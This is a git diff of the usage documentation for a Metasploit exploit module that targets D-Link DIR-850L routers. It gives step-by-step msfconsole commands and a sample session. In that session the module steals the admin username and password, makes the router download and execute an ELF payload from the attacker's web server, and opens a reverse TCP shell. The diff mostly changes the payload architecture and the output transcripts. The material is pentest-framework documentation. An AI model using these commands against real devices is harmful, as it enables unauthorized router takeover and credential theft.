@@ -8,7 +8,7 @@ are potentially vulnerable. The vulneralbility seems to occur within the parsing
8
8
1 . Start msfconsole
9
9
2 . Do : ` use exploit/linux/http/dlink_dir850l_unauth_exec.rb `
10
10
3 . Do : ` set RHOST [RouterIP] `
11
- 4 . Do : ` set PAYLOAD linux/mipsle /shell/reverse_tcp `
11
+ 4 . Do : ` set PAYLOAD linux/mipsbe /shell/reverse_tcp `
12
12
5 . Do : ` run `
13
13
6 . If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
14
14
@@ -17,59 +17,48 @@ are potentially vulnerable. The vulneralbility seems to occur within the parsing
17
17
18
18
```
19
19
msf > use exploit/linux/http/dlink_dir850l_unauth_exec
20
- msf exploit(dlink_850l_unauthenticated_exec ) > set RHOST 192.168.0.14
20
+ msf exploit(dlink_dir850l_unauth_exec ) > set RHOST 192.168.0.14
21
21
RHOST => 192.168.0.14
22
- msf exploit(dlink_850l_unauthenticated_exec ) > set RPORT 80
22
+ msf exploit(dlink_dir850l_unauth_exec ) > set RPORT 80
23
23
RPORT => 80
24
- msf exploit(dlink_850l_unauthenticated_exec) > set LHOST ens3
24
+ msf exploit(dlink_dir850l_unauth_exec) > check
25
+ [*] 192.168.0.14:80 The target service is running, but could not be validated.
26
+ msf exploit(dlink_dir850l_unauth_exec) > set VERBOSE true
27
+ VERBOSE => true
28
+ msf exploit(dlink_dir850l_unauth_exec) > set LHOST ens3
25
29
LHOST => ens3
26
- msf exploit(dlink_850l_unauthenticated_exec) > set LPORT 1351
27
- LPORT => 1351
28
- msf exploit(dlink_850l_unauthenticated_exec) > run
29
- [*] Exploit running as background job 0.
30
+ msf exploit(dlink_dir850l_unauth_exec) > set LPORT 3131
31
+ LPORT => 3131
32
+ msf exploit(dlink_dir850l_unauth_exec) > run
30
33
31
- [*] Started reverse TCP handler on 192.168.0.11:1351
32
- msf exploit(dlink_850l_unauthenticated_exec) > [*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:80/kiRtmoNlSNHUnxO
33
- [*] Using URL: http://0.0.0.0:80/kiRtmoNlSNHUnxO
34
- [*] Local IP: http://192.168.0.11:80/kiRtmoNlSNHUnxO
35
- [*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:80/kiRtmoNlSNHUnxO
34
+ [*] Started reverse TCP handler on 192.168.0.11:3131
35
+ [*] 192.168.0.14:80 - Connecting to target...
36
+ [+] 192.168.0.14:80 - Retrieved the username/password combo Admin/92830535
37
+ [+] 192.168.0.14:80 - Downloaded credentials to /root/.msf4/loot/20171104113614_default_192.168.0.14_dlink.dir850l.lo_146186.txt
38
+ [*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:8080/ZUrlVeWUm
39
+ [*] Using URL: http://0.0.0.0:8080/ZUrlVeWUm
40
+ [*] Local IP: http://192.168.0.11:8080/ZUrlVeWUm
41
+ [*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:8080/ZUrlVeWUm
36
42
[*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
37
43
[*] 192.168.0.14:80 - Sending payload to the server...
38
- [*] 192.168.0.14:80 - Requesting device to chmod kiRtmoNlSNHUnxO
39
- [*] 192.168.0.14:80 - Requesting device to execute kiRtmoNlSNHUnxO
40
- [*] 192.168.0.14:80 - Waiting for shell to connect back to us...
44
+ [*] 192.168.0.14:80 - Requesting device to chmod ZUrlVeWUm
45
+ [*] 192.168.0.14:80 - Requesting device to execute ZUrlVeWUm
46
+ [*] 192.168.0.14:80 - Waiting 10 seconds for shell to connect back to us...
41
47
[*] Sending stage (84 bytes) to 192.168.0.14
42
- [*] Command shell session 1 opened (192.168.0.11:1351 -> 192.168.0.14:48679) at 2017-11-03 09:05:13 -0400
43
- [+] Deleted /tmp/dhufstzw
44
- sessions -i 1
48
+ [*] Command shell session 1 opened (192.168.0.11:3131 -> 192.168.0.14:43953) at 2017-11-04 11:36:26 -0400
49
+ [+] Deleted /tmp/uoskutcy
50
+ [-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
51
+ [*] Server stopped.
52
+ [*] Exploit completed, but no session was created.
53
+ msf exploit(dlink_dir850l_unauth_exec) > sessions -i 1
45
54
[*] Starting interaction with 1...
46
55
47
- 3353690789
48
- yBvPAaTjxEjNJrrzHHdFNXGNWNywfECC
56
+ 190745749
57
+ wUVNdEKSrgeaxdSQyfTyxvaoYgFzyvGj
49
58
true
50
- MhhOHvSRnLmxcFwdTiIdZFcHzGRAIhlA
51
- mMzxldJdkNYWlIrHrOazzOcpCRTuRipt
52
- OayNFBMDfTSaJIFwpNPoWErXCvLmIguK
53
- [-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
54
- [*] Server stopped.
59
+ pQfaUhhwMvgnWrLpQXhhUAioNBFHPRZP
60
+ OgkEaOTPYbUEOLlLpLFEbodBvHFmVRmH
61
+ iNaYBrmsZqFyolPWWRKEHsKglrSlSGkY
55
62
pwd
56
63
/
57
- ls
58
- www
59
- var
60
- usr
61
- tmp
62
- sys
63
- sbin
64
- proc
65
- mydlink
66
- mnt
67
- lib
68
- include
69
- htdocs
70
- home
71
- etc
72
- dev
73
- bin
74
-
75
64
```
0 commit comments